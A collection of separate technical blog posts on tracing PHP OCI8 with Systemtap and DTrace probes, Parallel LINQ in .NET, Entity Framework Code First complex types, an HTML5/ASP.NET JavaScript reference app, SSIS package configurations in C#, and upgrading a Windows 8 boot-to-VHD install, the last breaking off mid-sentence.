  The powerful DTrace tracing facility has some PHP-specific probes that can be enabled with --enable-dtrace. DTrace for Linux is being created by Oracle and is currently in tech preview. Currently it doesn't support userspace tracing so, in the meantime, Systemtap can be used to monitor the probes implemented in PHP. This was recently outlined in David Soria Parra's post Probing PHP with Systemtap on Linux. My post shows how DTrace probes can be added to PHP extensions and traced on Linux. I was using Oracle Linux 6.3. Not all Linux kernels are built with Systemtap, since this can impact stability. Check whether your running kernel (or others installed) have Systemtap enabled, and reboot with such a kernel: # grep CONFIG_UTRACE /boot/config-`uname -r` # grep CONFIG_UTRACE /boot/config-* When you install Systemtap itself, the package systemtap-sdt-devel is needed since it provides the sdt.h header file: # yum install systemtap-sdt-devel You can now install and build PHP as shown in David's article. Basically the build is with: $ cd ~/php-src $ ./configure --disable-all --enable-dtrace $ make (For me, running 'make' a second time failed with an error. The workaround is to do 'git checkout Zend/zend_dtrace.d' and then rerun 'make'. See PHP Bug 63704) David's article shows how to trace the probes already implemented in PHP. You can also use Systemtap to trace things like userspace PHP function calls. For example, create test.php: <?php $c = oci_connect('hr', 'welcome', 'localhost/orcl'); $s = oci_parse($c, "select dbms_xmlgen.getxml('select * from dual') xml from dual"); $r = oci_execute($s); $row = oci_fetch_array($s, OCI_NUM); $x = $row[0]->load(); $row[0]->free(); echo $x; ?> The normal output of this file is the XML form of Oracle's DUAL table: $ ./sapi/cli/php ~/test.php <?xml version="1.0"?> <ROWSET> <ROW> <DUMMY>X</DUMMY> </ROW> </ROWSET> To trace the PHP function calls, create the tracing file functrace.stp: probe process("sapi/cli/php").function("zif_*") { printf("Started function %s\n", probefunc()); } probe process("sapi/cli/php").function("zif_*").return { printf("Ended function %s\n", probefunc()); } This makes use of the way PHP userspace functions (not builtins) like oci_connect() map to C functions with a "zif_" prefix. Login as root, and run System tap on the PHP script: # cd ~cjones/php-src # stap -c 'sapi/cli/php ~cjones/test.php' ~cjones/functrace.stp Started function zif_oci_connect Ended function zif_oci_connect Started function zif_oci_parse Ended function zif_oci_parse Started function zif_oci_execute Ended function zif_oci_execute Started function zif_oci_fetch_array Ended function zif_oci_fetch_array Started function zif_oci_lob_load <?xml version="1.0"?> <ROWSET> <ROW> <DUMMY>X</DUMMY> </ROW> </ROWSET> Ended function zif_oci_lob_load Started function zif_oci_free_descriptor Ended function zif_oci_free_descriptor Each call and return is logged. The Systemtap scripting language allows complex scripts to be built. There are many examples on the web. To augment this generic capability and the PHP probes in PHP, other extensions can have probes too. Below are the steps I used to add probes to OCI8: I created a provider file ext/oci8/oci8_dtrace.d, enabling three probes. The first one will accept a parameter that runtime tracing can later display: provider php { probe oci8__connect(char *username); probe oci8__nls_start(); probe oci8__nls_done(); }; I updated ext/oci8/config.m4 with the PHP_INIT_DTRACE macro. The patch is at the end of config.m4. The macro takes the provider prototype file, a name of the header file that 'dtrace' will generate, and a list of sources files with probes. When --enable-dtrace is used during PHP configuration, then the outer $PHP_DTRACE check is true and my new probes will be enabled. I've chosen to define an OCI8 specific macro, HAVE_OCI8_DTRACE, which can be used in the OCI8 source code: diff --git a/ext/oci8/config.m4 b/ext/oci8/config.m4 index 34ae76c..f3e583d 100644 --- a/ext/oci8/config.m4 +++ b/ext/oci8/config.m4 @@ -341,4 +341,17 @@ if test "$PHP_OCI8" != "no"; then PHP_SUBST_OLD(OCI8_ORACLE_VERSION) fi + + if test "$PHP_DTRACE" = "yes"; then + AC_CHECK_HEADERS([sys/sdt.h], [ + PHP_INIT_DTRACE([ext/oci8/oci8_dtrace.d], + [ext/oci8/oci8_dtrace_gen.h],[ext/oci8/oci8.c]) + AC_DEFINE(HAVE_OCI8_DTRACE,1, + [Whether to enable DTrace support for OCI8 ]) + ], [ + AC_MSG_ERROR( + [Cannot find sys/sdt.h which is required for DTrace support]) + ]) + fi + fi In ext/oci8/oci8.c, I added the probes at, for this example, semi-arbitrary places: diff --git a/ext/oci8/oci8.c b/ext/oci8/oci8.c index e2241cf..ffa0168 100644 --- a/ext/oci8/oci8.c +++ b/ext/oci8/oci8.c @@ -1811,6 +1811,12 @@ php_oci_connection *php_oci_do_connect_ex(char *username, int username_len, char } } +#ifdef HAVE_OCI8_DTRACE + if (DTRACE_OCI8_CONNECT_ENABLED()) { + DTRACE_OCI8_CONNECT(username); + } +#endif + /* Initialize global handles if they weren't initialized before */ if (OCI_G(env) == NULL) { php_oci_init_global_handles(TSRMLS_C); @@ -1870,11 +1876,22 @@ php_oci_connection *php_oci_do_connect_ex(char *username, int username_len, char size_t rsize = 0; sword result; +#ifdef HAVE_OCI8_DTRACE + if (DTRACE_OCI8_NLS_START_ENABLED()) { + DTRACE_OCI8_NLS_START(); + } +#endif PHP_OCI_CALL_RETURN(result, OCINlsEnvironmentVariableGet, (&charsetid_nls_lang, 0, OCI_NLS_CHARSET_ID, 0, &rsize)); if (result != OCI_SUCCESS) { charsetid_nls_lang = 0; } smart_str_append_unsigned_ex(&hashed_details, charsetid_nls_lang, 0); + +#ifdef HAVE_OCI8_DTRACE + if (DTRACE_OCI8_NLS_DONE_ENABLED()) { + DTRACE_OCI8_NLS_DONE(); + } +#endif } timestamp = time(NULL); The oci_connect(), oci_pconnect() and oci_new_connect() calls all use php_oci_do_connect_ex() internally. The first probe simply records that the PHP application made a connection call. I already showed a way to do this without needing a probe, but adding a specific probe lets me record the username. The other two probes can be used to time how long the globalization initialization takes. The relationships between the oci8_dtrace.d names like oci8__connect, the probe guards like DTRACE_OCI8_CONNECT_ENABLED() and probe names like DTRACE_OCI8_CONNECT() are obvious after seeing the pattern of all three probes. I included the new header that will be automatically created by the dtrace tool when PHP is built. I did this in ext/oci8/php_oci8_int.h: diff --git a/ext/oci8/php_oci8_int.h b/ext/oci8/php_oci8_int.h index b0d6516..c81fc5a 100644 --- a/ext/oci8/php_oci8_int.h +++ b/ext/oci8/php_oci8_int.h @@ -44,6 +44,10 @@ # endif # endif /* osf alpha */ +#ifdef HAVE_OCI8_DTRACE +#include "oci8_dtrace_gen.h" +#endif + #if defined(min) #undef min #endif Now PHP can be rebuilt: $ cd ~/php-src $ rm configure && ./buildconf --force $ ./configure --disable-all --enable-dtrace \ --with-oci8=instantclient,/home/cjones/instantclient $ make If 'make' fails, do the 'git checkout Zend/zend_dtrace.d' trick I mentioned. The new probes can be seen by logging in as root and running: # stap -l 'process.provider("php").mark("oci8*")' -c 'sapi/cli/php -i' process("sapi/cli/php").provider("php").mark("oci8__connect") process("sapi/cli/php").provider("php").mark("oci8__nls_done") process("sapi/cli/php").provider("php").mark("oci8__nls_start") To test them out, create a new trace file, oci.stp: global numconnects; global start; global numcharlookups = 0; global tottime = 0; probe process.provider("php").mark("oci8-connect") { printf("Connected as %s\n", user_string($arg1)); numconnects += 1; } probe process.provider("php").mark("oci8-nls_start") { start = gettimeofday_us(); numcharlookups++; } probe process.provider("php").mark("oci8-nls_done") { tottime += gettimeofday_us() - start; } probe end { printf("Connects: %d, Charset lookups: %ld\n", numconnects, numcharlookups); printf("Total NLS charset initalization time: %ld usecs/connect\n", (numcharlookups 0 ? tottime/numcharlookups : 0)); } This calculates the average time that the NLS character set lookup takes. It also prints out the username of each connection, as an example of using parameters. Login as root and run Systemtap over the PHP script: # cd ~cjones/php-src # stap -c 'sapi/cli/php ~cjones/test.php' ~cjones/oci.stp Connected as cj <?xml version="1.0"?> <ROWSET> <ROW> <DUMMY>X</DUMMY> </ROW> </ROWSET> Connects: 1, Charset lookups: 1 Total NLS charset initalization time: 164 usecs/connect This shows the time penalty of making OCI8 look up the default character set. This time would be zero if a character set had been passed as the fourth argument to oci_connect() in test.php.

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• Parallelism in .NET – Part 6, Declarative Data Parallelism

  - by Reed

  When working with a problem that can be decomposed by data, we have a collection, and some operation being performed upon the collection.  I’ve demonstrated how this can be parallelized using the Task Parallel Library and imperative programming using imperative data parallelism via the Parallel class.  While this provides a huge step forward in terms of power and capabilities, in many cases, special care must still be given for relative common scenarios. C# 3.0 and Visual Basic 9.0 introduced a new, declarative programming model to .NET via the LINQ Project.  When working with collections, we can now write software that describes what we want to occur without having to explicitly state how the program should accomplish the task.  By taking advantage of LINQ, many operations become much shorter, more elegant, and easier to understand and maintain.  Version 4.0 of the .NET framework extends this concept into the parallel computation space by introducing Parallel LINQ. Before we delve into PLINQ, let’s begin with a short discussion of LINQ.  LINQ, the extensions to the .NET Framework which implement language integrated query, set, and transform operations, is implemented in many flavors.  For our purposes, we are interested in LINQ to Objects.  When dealing with parallelizing a routine, we typically are dealing with in-memory data storage.  More data-access oriented LINQ variants, such as LINQ to SQL and LINQ to Entities in the Entity Framework fall outside of our concern, since the parallelism there is the concern of the data base engine processing the query itself. LINQ (LINQ to Objects in particular) works by implementing a series of extension methods, most of which work on IEnumerable<T>.  The language enhancements use these extension methods to create a very concise, readable alternative to using traditional foreach statement.  For example, let’s revisit our minimum aggregation routine we wrote in Part 4: double min = double.MaxValue; foreach(var item in collection) { double value = item.PerformComputation(); min = System.Math.Min(min, value); } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Here, we’re doing a very simple computation, but writing this in an imperative style.  This can be loosely translated to English as: Create a very large number, and save it in min Loop through each item in the collection. For every item: Perform some computation, and save the result If the computation is less than min, set min to the computation Although this is fairly easy to follow, it’s quite a few lines of code, and it requires us to read through the code, step by step, line by line, in order to understand the intention of the developer. We can rework this same statement, using LINQ: double min = collection.Min(item => item.PerformComputation()); Here, we’re after the same information.  However, this is written using a declarative programming style.  When we see this code, we’d naturally translate this to English as: Save the Min value of collection, determined via calling item.PerformComputation() That’s it – instead of multiple logical steps, we have one single, declarative request.  This makes the developer’s intentions very clear, and very easy to follow.  The system is free to implement this using whatever method required. Parallel LINQ (PLINQ) extends LINQ to Objects to support parallel operations.  This is a perfect fit in many cases when you have a problem that can be decomposed by data.  To show this, let’s again refer to our minimum aggregation routine from Part 4, but this time, let’s review our final, parallelized version: // Safe, and fast! double min = double.MaxValue; // Make a "lock" object object syncObject = new object(); Parallel.ForEach( collection, // First, we provide a local state initialization delegate. () => double.MaxValue, // Next, we supply the body, which takes the original item, loop state, // and local state, and returns a new local state (item, loopState, localState) => { double value = item.PerformComputation(); return System.Math.Min(localState, value); }, // Finally, we provide an Action<TLocal>, to "merge" results together localState => { // This requires locking, but it's only once per used thread lock(syncObj) min = System.Math.Min(min, localState); } ); Here, we’re doing the same computation as above, but fully parallelized.  Describing this in English becomes quite a feat: Create a very large number, and save it in min Create a temporary object we can use for locking Call Parallel.ForEach, specifying three delegates For the first delegate: Initialize a local variable to hold the local state to a very large number For the second delegate: For each item in the collection, perform some computation, save the result If the result is less than our local state, save the result in local state For the final delegate: Take a lock on our temporary object to protect our min variable Save the min of our min and local state variables Although this solves our problem, and does it in a very efficient way, we’ve created a set of code that is quite a bit more difficult to understand and maintain. PLINQ provides us with a very nice alternative.  In order to use PLINQ, we need to learn one new extension method that works on IEnumerable<T> – ParallelEnumerable.AsParallel(). That’s all we need to learn in order to use PLINQ: one single method.  We can write our minimum aggregation in PLINQ very simply: double min = collection.AsParallel().Min(item => item.PerformComputation()); By simply adding “.AsParallel()” to our LINQ to Objects query, we converted this to using PLINQ and running this computation in parallel!  This can be loosely translated into English easily, as well: Process the collection in parallel Get the Minimum value, determined by calling PerformComputation on each item Here, our intention is very clear and easy to understand.  We just want to perform the same operation we did in serial, but run it “as parallel”.  PLINQ completely extends LINQ to Objects: the entire functionality of LINQ to Objects is available.  By simply adding a call to AsParallel(), we can specify that a collection should be processed in parallel.  This is simple, safe, and incredibly useful.

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• Entity Association Mapping with Code First Part 1 : Mapping Complex Types

  - by mortezam

  Last week the CTP5 build of the new Entity Framework Code First has been released by data team at Microsoft. Entity Framework Code-First provides a pretty powerful code-centric way to work with the databases. When it comes to associations, it brings ultimate flexibility. I’m a big fan of the EF Code First approach and am planning to explain association mapping with code first in a series of blog posts and this one is dedicated to Complex Types. If you are new to Code First approach, you can find a great walkthrough here. In order to build a solid foundation for our discussion, we will start by learning about some of the core concepts around the relationship mapping.   What is Mapping?Mapping is the act of determining how objects and their relationships are persisted in permanent data storage, in our case, relational databases. What is Relationship mapping?A mapping that describes how to persist a relationship (association, aggregation, or composition) between two or more objects. Types of RelationshipsThere are two categories of object relationships that we need to be concerned with when mapping associations. The first category is based on multiplicity and it includes three types: One-to-one relationships: This is a relationship where the maximums of each of its multiplicities is one. One-to-many relationships: Also known as a many-to-one relationship, this occurs when the maximum of one multiplicity is one and the other is greater than one. Many-to-many relationships: This is a relationship where the maximum of both multiplicities is greater than one. The second category is based on directionality and it contains two types: Uni-directional relationships: when an object knows about the object(s) it is related to but the other object(s) do not know of the original object. To put this in EF terminology, when a navigation property exists only on one of the association ends and not on the both. Bi-directional relationships: When the objects on both end of the relationship know of each other (i.e. a navigation property defined on both ends). How Object Relationships Are Implemented in POCO domain models?When the multiplicity is one (e.g. 0..1 or 1) the relationship is implemented by defining a navigation property that reference the other object (e.g. an Address property on User class). When the multiplicity is many (e.g. 0..*, 1..*) the relationship is implemented via an ICollection of the type of other object. How Relational Database Relationships Are Implemented? Relationships in relational databases are maintained through the use of Foreign Keys. A foreign key is a data attribute(s) that appears in one table and must be the primary key or other candidate key in another table. With a one-to-one relationship the foreign key needs to be implemented by one of the tables. To implement a one-to-many relationship we implement a foreign key from the “one table” to the “many table”. We could also choose to implement a one-to-many relationship via an associative table (aka Join table), effectively making it a many-to-many relationship. Introducing the ModelNow, let's review the model that we are going to use in order to implement Complex Type with Code First. It's a simple object model which consist of two classes: User and Address. Each user could have one billing address. The Address information of a User is modeled as a separate class as you can see in the UML model below: In object-modeling terms, this association is a kind of aggregation—a part-of relationship. Aggregation is a strong form of association; it has some additional semantics with regard to the lifecycle of objects. In this case, we have an even stronger form, composition, where the lifecycle of the part is fully dependent upon the lifecycle of the whole. Fine-grained domain models The motivation behind this design was to achieve Fine-grained domain models. In crude terms, fine-grained means “more classes than tables”. For example, a user may have both a billing address and a home address. In the database, you may have a single User table with the columns BillingStreet, BillingCity, and BillingPostalCode along with HomeStreet, HomeCity, and HomePostalCode. There are good reasons to use this somewhat denormalized relational model (performance, for one). In our object model, we can use the same approach, representing the two addresses as six string-valued properties of the User class. But it’s much better to model this using an Address class, where User has the BillingAddress and HomeAddress properties. This object model achieves improved cohesion and greater code reuse and is more understandable. Complex Types: Splitting a Table Across Multiple Types Back to our model, there is no difference between this composition and other weaker styles of association when it comes to the actual C# implementation. But in the context of ORM, there is a big difference: A composed class is often a candidate Complex Type. But C# has no concept of composition—a class or property can’t be marked as a composition. The only difference is the object identifier: a complex type has no individual identity (i.e. no AddressId defined on Address class) which make sense because when it comes to the database everything is going to be saved into one single table. How to implement a Complex Types with Code First Code First has a concept of Complex Type Discovery that works based on a set of Conventions. The convention is that if Code First discovers a class where a primary key cannot be inferred, and no primary key is registered through Data Annotations or the fluent API, then the type will be automatically registered as a complex type. Complex type detection also requires that the type does not have properties that reference entity types (i.e. all the properties must be scalar types) and is not referenced from a collection property on another type. Here is the implementation: public class User{    public int UserId { get; set; }    public string FirstName { get; set; }    public string LastName { get; set; }    public string Username { get; set; }    public Address Address { get; set; }} public class Address {     public string Street { get; set; }     public string City { get; set; }            public string PostalCode { get; set; }        }public class EntityMappingContext : DbContext {     public DbSet<User> Users { get; set; }        } With code first, this is all of the code we need to write to create a complex type, we do not need to configure any additional database schema mapping information through Data Annotations or the fluent API. Database SchemaThe mapping result for this object model is as follows: Limitations of this mappingThere are two important limitations to classes mapped as Complex Types: Shared references is not possible: The Address Complex Type doesn’t have its own database identity (primary key) and so can’t be referred to by any object other than the containing instance of User (e.g. a Shipping class that also needs to reference the same User Address). No elegant way to represent a null reference There is no elegant way to represent a null reference to an Address. When reading from database, EF Code First always initialize Address object even if values in all mapped columns of the complex type are null. This means that if you store a complex type object with all null property values, EF Code First returns a initialized complex type when the owning entity object is retrieved from the database. SummaryIn this post we learned about fine-grained domain models which complex type is just one example of it. Fine-grained is fully supported by EF Code First and is known as the most important requirement for a rich domain model. Complex type is usually the simplest way to represent one-to-one relationships and because the lifecycle is almost always dependent in such a case, it’s either an aggregation or a composition in UML. In the next posts we will revisit the same domain model and will learn about other ways to map a one-to-one association that does not have the limitations of the complex types. References ADO.NET team blog Mapping Objects to Relational Databases Java Persistence with Hibernate

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• Building an HTML5 App with ASP.NET

  - by Stephen Walther

  I’m teaching several JavaScript and ASP.NET workshops over the next couple of months (thanks everyone!) and I thought it would be useful for my students to have a really easy to use JavaScript reference. I wanted a simple interactive JavaScript reference and I could not find one so I decided to put together one of my own. I decided to use the latest features of JavaScript, HTML5 and jQuery such as local storage, offline manifests, and jQuery templates. What could be more appropriate than building a JavaScript Reference with JavaScript? You can try out the application by visiting: http://Superexpert.com/JavaScriptReference Because the app takes advantage of several advanced features of HTML5, it won’t work with Internet Explorer 6 (but really, you should stop using that browser). I have tested it with IE 8, Chrome 8, Firefox 3.6, and Safari 5. You can download the source for the JavaScript Reference application at the end of this article. Superexpert JavaScript Reference Let me provide you with a brief walkthrough of the app. When you first open the application, you see the following lookup screen: As you type the name of something from the JavaScript language, matching results are displayed: You can click the details link for any entry to view details for an entry in a modal dialog: Alternatively, you can click on any of the tabs -- Objects, Functions, Properties, Statements, Operators, Comments, or Directives -- to filter results by type of syntax. For example, you might want to see a list of all JavaScript built-in objects: You can login to the application to make modification to the application: After you login, you can add, update, or delete entries in the reference database: HTML5 Local Storage The application takes advantage of HTML5 local storage to store all of the reference entries on the local browser. IE 8, Chrome 8, Firefox 3.6, and Safari 5 all support local storage. When you open the application for the first time, all of the reference entries are transferred to the browser. The data is stored persistently. Even if you shutdown your computer and return to the application many days later, the data does not need to be transferred again. Whenever you open the application, the app checks with the server to see if any of the entries have been updated on the server. If there have been updates, then only the updates are transferred to the browser and the updates are merged with the existing entries in local storage. After the reference database has been transferred to your browser once, only changes are transferred in the future. You get two benefits from using local storage. First, the application loads very fast and works very fast after the data has been loaded once. The application does not query the server whenever you filter or view entries. All of the data is persisted in the browser. Second, you can browse the JavaScript reference even when you are not connected to the Internet (when you are on the proverbial airplane). The JavaScript Reference works as an offline application for browsers that support offline applications (unfortunately, not IE). When using Google Chrome, you can easily view the contents of local storage by selecting Tools, Developer Tools (CTRL-SHIFT I) and selecting Storage, Local Storage: The JavaScript Reference app stores two items in local storage: entriesLastUpdated and entries. HTML5 Offline App For browsers that support HTML5 offline applications – Chrome 8 and Firefox 3.6 but not Internet Explorer – you do not need to be connected to the Internet to use the JavaScript Reference. The JavaScript Reference can execute entirely on your machine just like any other desktop application. When you first open the application with Firefox, you are presented with the following warning: Notice the notification bar that asks whether you want to accept offline content. If you click the Allow button then all of the files (generated ASPX, images, CSS, JavaScript) needed for the JavaScript Reference will be stored on your local computer. Automatic Script Minification and Combination All of the custom JavaScript files are combined and minified automatically whenever the application is built with Visual Studio. All of the custom scripts are contained in a folder named App_Scripts: When you perform a build, the combine.js and combine.debug.js files are generated. The Combine.config file contains the list of files that should be combined (importantly, it specifies the order in which the files should be combined). Here’s the contents of the Combine.config file:   <?xml version="1.0"?> <combine> <scripts> <file path="compat.js" /> <file path="storage.js" /> <file path="serverData.js" /> <file path="entriesHelper.js" /> <file path="authentication.js" /> <file path="default.js" /> </scripts> </combine>   jQuery and jQuery UI The JavaScript Reference application takes heavy advantage of jQuery and jQuery UI. In particular, the application uses jQuery templates to format and display the reference entries. Each of the separate templates is stored in a separate ASP.NET user control in a folder named Templates: The contents of the user controls (and therefore the templates) are combined in the default.aspx page: <!-- Templates --> <user:EntryTemplate runat="server" /> <user:EntryDetailsTemplate runat="server" /> <user:BrowsersTemplate runat="server" /> <user:EditEntryTemplate runat="server" /> <user:EntryDetailsCloudTemplate runat="server" /> When the default.aspx page is requested, all of the templates are retrieved in a single page. WCF Data Services The JavaScript Reference application uses WCF Data Services to retrieve and modify database data. The application exposes a server-side WCF Data Service named EntryService.svc that supports querying, adding, updating, and deleting entries. jQuery Ajax calls are made against the WCF Data Service to perform the database operations from the browser. The OData protocol makes this easy. Authentication is handled on the server with a ChangeInterceptor. Only authenticated users are allowed to update the JavaScript Reference entry database. JavaScript Unit Tests In order to build the JavaScript Reference application, I depended on JavaScript unit tests. I needed the unit tests, in particular, to write the JavaScript merge functions which merge entry change sets from the server with existing entries in browser local storage. In order for unit tests to be useful, they need to run fast. I ran my unit tests after each build. For this reason, I did not want to run the unit tests within the context of a browser. Instead, I ran the unit tests using server-side JavaScript (the Microsoft Script Control). The source code that you can download at the end of this blog entry includes a project named JavaScriptReference.UnitTests that contains all of the JavaScripts unit tests. JavaScript Integration Tests Because not every feature of an application can be tested by unit tests, the JavaScript Reference application also includes integration tests. I wrote the integration tests using Selenium RC in combination with ASP.NET Unit Tests. The Selenium tests run against all of the target browsers for the JavaScript Reference application: IE 8, Chrome 8, Firefox 3.6, and Safari 5. For example, here is the Selenium test that checks whether authenticating with a valid user name and password correctly switches the application to Admin Mode: [TestMethod] [HostType("ASP.NET")] [UrlToTest("http://localhost:26303/JavaScriptReference")] [AspNetDevelopmentServerHost(@"C:\Users\Stephen\Documents\Repos\JavaScriptReference\JavaScriptReference\JavaScriptReference", "/JavaScriptReference")] public void TestValidLogin() { // Run test for each controller foreach (var controller in this.Controllers) { var selenium = controller.Value; var browserName = controller.Key; // Open reference page. selenium.Open("http://localhost:26303/JavaScriptReference/default.aspx"); // Click login button displays login form selenium.Click("btnLogin"); Assert.IsTrue(selenium.IsVisible("loginForm"), "Login form appears after clicking btnLogin"); // Enter user name and password selenium.Type("userName", "Admin"); selenium.Type("password", "secret"); selenium.Click("btnDoLogin"); // Should set adminMode == true selenium.WaitForCondition("selenium.browserbot.getCurrentWindow().adminMode==true", "30000"); } }   The results for running the Selenium tests appear in the Test Results window just like the unit tests: The Selenium tests take much longer to execute than the unit tests. However, they provide test coverage for actual browsers. Furthermore, if you are using Visual Studio ALM, you can run the tests automatically every night as part of your standard nightly build. You can view the Selenium tests by opening the JavaScriptReference.QATests project. Summary I plan to write more detailed blog entries about this application over the next week. I want to discuss each of the features – HTML5 local storage, HTML5 offline apps, jQuery templates, automatic script combining and minification, JavaScript unit tests, Selenium tests -- in more detail. You can download the source control for the JavaScript Reference Application by clicking the following link: Download You need Visual Studio 2010 and ASP.NET 4 to build the application. Before running the JavaScript unit tests, install the Microsoft Script Control. Before running the Selenium tests, start the Selenium server by running the StartSeleniumServer.bat file located in the JavaScriptReference.QATests project.

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• Creating packages in code - Package Configurations

  Continuing my theme of building various types of packages in code, this example shows how to building a package with package configurations. Incidentally it shows you how to add a variable, and a connection too. It covers the five most common configurations: Configuration File Indirect Configuration File SQL Server Indirect SQL Server Environment Variable  For a general overview try the SQL Server Books Online Package Configurations topic. The sample uses a a simple helper function ApplyConfig to create or update a configuration, although in the example we will only ever create. The most useful knowledge is the configuration string (Configuration.ConfigurationString) that you need to set. Configuration Type Configuration String Description Configuration File The full path and file name of an XML configuration file. The file can contain one or more configuration and includes the target path and new value to set. Indirect Configuration File An environment variable the value of which contains full path and file name of an XML configuration file as per the Configuration File type described above. SQL Server A three part configuration string, with each part being quote delimited and separated by a semi-colon. -- The first part is the connection manager name. The connection tells you which server and database to look for the configuration table. -- The second part is the name of the configuration table. The table is of a standard format, use the Package Configuration Wizard to help create an example, or see the sample script files below. The table contains one or more rows or configuration items each with a target path and new value. -- The third and final part is the optional filter name. A configuration table can contain multiple configurations, and the filter is  literal value that can be used to group items together and act as a filter clause when configurations are being read. If you do not need a filter, just leave the value empty. Indirect SQL Server An environment variable the value of which is the three part configuration string as per the SQL Server type described above. Environment Variable An environment variable the value of which is the value to set in the package. This is slightly different to the other examples as the configuration definition in the package also includes the target information. In our ApplyConfig function this is the only example that actually supplies a target value for the Configuration.PackagePath property. The path is an XPath style path for the target property, \Package.Variables[User::Variable].Properties[Value], the equivalent of which can be seen in the screenshot below, with the object being our variable called Variable, and the property to set is the Value property of that variable object. The configurations as seen when opening the generated package in BIDS: The sample code creates the package, adds a variable and connection manager, enables configurations, and then adds our example configurations. The package is then saved to disk, useful for checking the package and testing, before finally executing, just to prove it is valid. There are some external resources used here, namely some environment variables and a table, see below for more details. namespace Konesans.Dts.Samples { using System; using Microsoft.SqlServer.Dts.Runtime; public class PackageConfigurations { public void CreatePackage() { // Create a new package Package package = new Package(); package.Name = "ConfigurationSample"; // Add a variable, the target for our configurations package.Variables.Add("Variable", false, "User", 0); // Add a connection, for SQL configurations // Add the SQL OLE-DB connection ConnectionManager connectionManagerOleDb = package.Connections.Add("OLEDB"); connectionManagerOleDb.Name = "SQLConnection"; connectionManagerOleDb.ConnectionString = "Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;"; // Add our example configurations, first must enable package setting package.EnableConfigurations = true; // Direct configuration file, see sample file this.ApplyConfig(package, "Configuration File", DTSConfigurationType.ConfigFile, "C:\\Temp\\XmlConfig.dtsConfig", string.Empty); // Indirect configuration file, the emvironment variable XmlConfigFileEnvironmentVariable // contains the path to the configuration file, e.g. C:\Temp\XmlConfig.dtsConfig this.ApplyConfig(package, "Indirect Configuration File", DTSConfigurationType.IConfigFile, "XmlConfigFileEnvironmentVariable", string.Empty); // Direct SQL Server configuration, uses the SQLConnection package connection to read // configurations from the [dbo].[SSIS Configurations] table, with a filter of "SampleFilter" this.ApplyConfig(package, "SQL Server", DTSConfigurationType.SqlServer, "\"SQLConnection\";\"[dbo].[SSIS Configurations]\";\"SampleFilter\";", string.Empty); // Indirect SQL Server configuration, the environment variable "SQLServerEnvironmentVariable" // contains the configuration string e.g. "SQLConnection";"[dbo].[SSIS Configurations]";"SampleFilter"; this.ApplyConfig(package, "Indirect SQL Server", DTSConfigurationType.ISqlServer, "SQLServerEnvironmentVariable", string.Empty); // Direct environment variable, the value of the EnvironmentVariable environment variable is // applied to the target property, the value of the "User::Variable" package variable this.ApplyConfig(package, "EnvironmentVariable", DTSConfigurationType.EnvVariable, "EnvironmentVariable", "\\Package.Variables[User::Variable].Properties[Value]"); #if DEBUG // Save package to disk, DEBUG only new Application().SaveToXml(String.Format(@"C:\Temp\{0}.dtsx", package.Name), package, null); Console.WriteLine(@"C:\Temp\{0}.dtsx", package.Name); #endif // Execute package package.Execute(); // Basic check for warnings foreach (DtsWarning warning in package.Warnings) { Console.WriteLine("WarningCode : {0}", warning.WarningCode); Console.WriteLine(" SubComponent : {0}", warning.SubComponent); Console.WriteLine(" Description : {0}", warning.Description); Console.WriteLine(); } // Basic check for errors foreach (DtsError error in package.Errors) { Console.WriteLine("ErrorCode : {0}", error.ErrorCode); Console.WriteLine(" SubComponent : {0}", error.SubComponent); Console.WriteLine(" Description : {0}", error.Description); Console.WriteLine(); } package.Dispose(); } /// <summary> /// Add or update an package configuration. /// </summary> /// <param name="package">The package.</param> /// <param name="name">The configuration name.</param> /// <param name="type">The type of configuration</param> /// <param name="setting">The configuration setting.</param> /// <param name="target">The target of the configuration, leave blank if not required.</param> internal void ApplyConfig(Package package, string name, DTSConfigurationType type, string setting, string target) { Configurations configurations = package.Configurations; Configuration configuration; if (configurations.Contains(name)) { configuration = configurations[name]; } else { configuration = configurations.Add(); } configuration.Name = name; configuration.ConfigurationType = type; configuration.ConfigurationString = setting; configuration.PackagePath = target; } } } The following table lists the environment variables required for the full example to work along with some sample values. Variable Sample value EnvironmentVariable 1 SQLServerEnvironmentVariable "SQLConnection";"[dbo].[SSIS Configurations]";"SampleFilter"; XmlConfigFileEnvironmentVariable C:\Temp\XmlConfig.dtsConfig Sample code, package and configuration file. ConfigurationApplication.cs ConfigurationSample.dtsx XmlConfig.dtsConfig

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• Upgrading Windows 8 boot to VHD to Windows 8.1&ndash;Step by step guide

  - by Liam Westley

  Originally posted on: http://geekswithblogs.net/twickers/archive/2013/10/19/upgrading-windows-8-boot-to-vhd-to-windows-8.1ndashstep-by.aspxBoot to VHD – dual booting Windows 7 and Windows 8 became easy When Windows 8 arrived, quite a few people decided that they would still dual boot their machines, and instead of mucking about with resizing disk partitions to free up space for Windows 8 they decided to use the boot from VHD feature to create a huge hard disc image into which Windows 8 could be installed.  Scott Hanselman wrote this installation guide, while I myself used the installation guide from Ed Bott of ZD net fame. Boot to VHD is a great solution, it achieves a dual boot, can be backed up easily and had virtually no effect on the original Windows 7 partition. As a developer who has dual booted Windows operating systems for years, hacking boot.ini files, the boot to VHD was a much easier solution. Upgrade to Windows 8.1 – ah, you can’t do that on a virtual disk installation (boot to VHD) Last week the final version of Windows 8.1 arrived, and I went into the Windows Store to upgrade.  Luckily I’m on a fast download service, and use an SSD, because once the upgrade was downloaded and prepared Windows informed that This PC can’t run Windows 8.1, and provided the reason, You can’t install Windows on a virtual drive.  You can see an image of the message and discussion that sparked my search for a solution in this Microsoft Technet forum post. I was determined not to have to resize partitions yet again and fiddle with VHD to disk utilities and back again, and in the end I did succeed in upgrading to a Windows 8.1 boot to VHD partition.  It takes quite a bit of effort though … tldr; Simple steps of how you upgrade Boot into Windows 7 – make a copy of your Windows 8 VHD, to become Windows 8.1 Enable Hyper-V in your Windows 8 (the original boot to VHD partition) Create a new virtual machine, attaching the copy of your Windows 8 VHD Start the virtual machine, upgrade it via the Windows Store to Windows 8.1 Shutdown the virtual machine Boot into Windows 7 – use the bcedit tool to create a new Windows 8.1 boot to VHD option (pointing at the 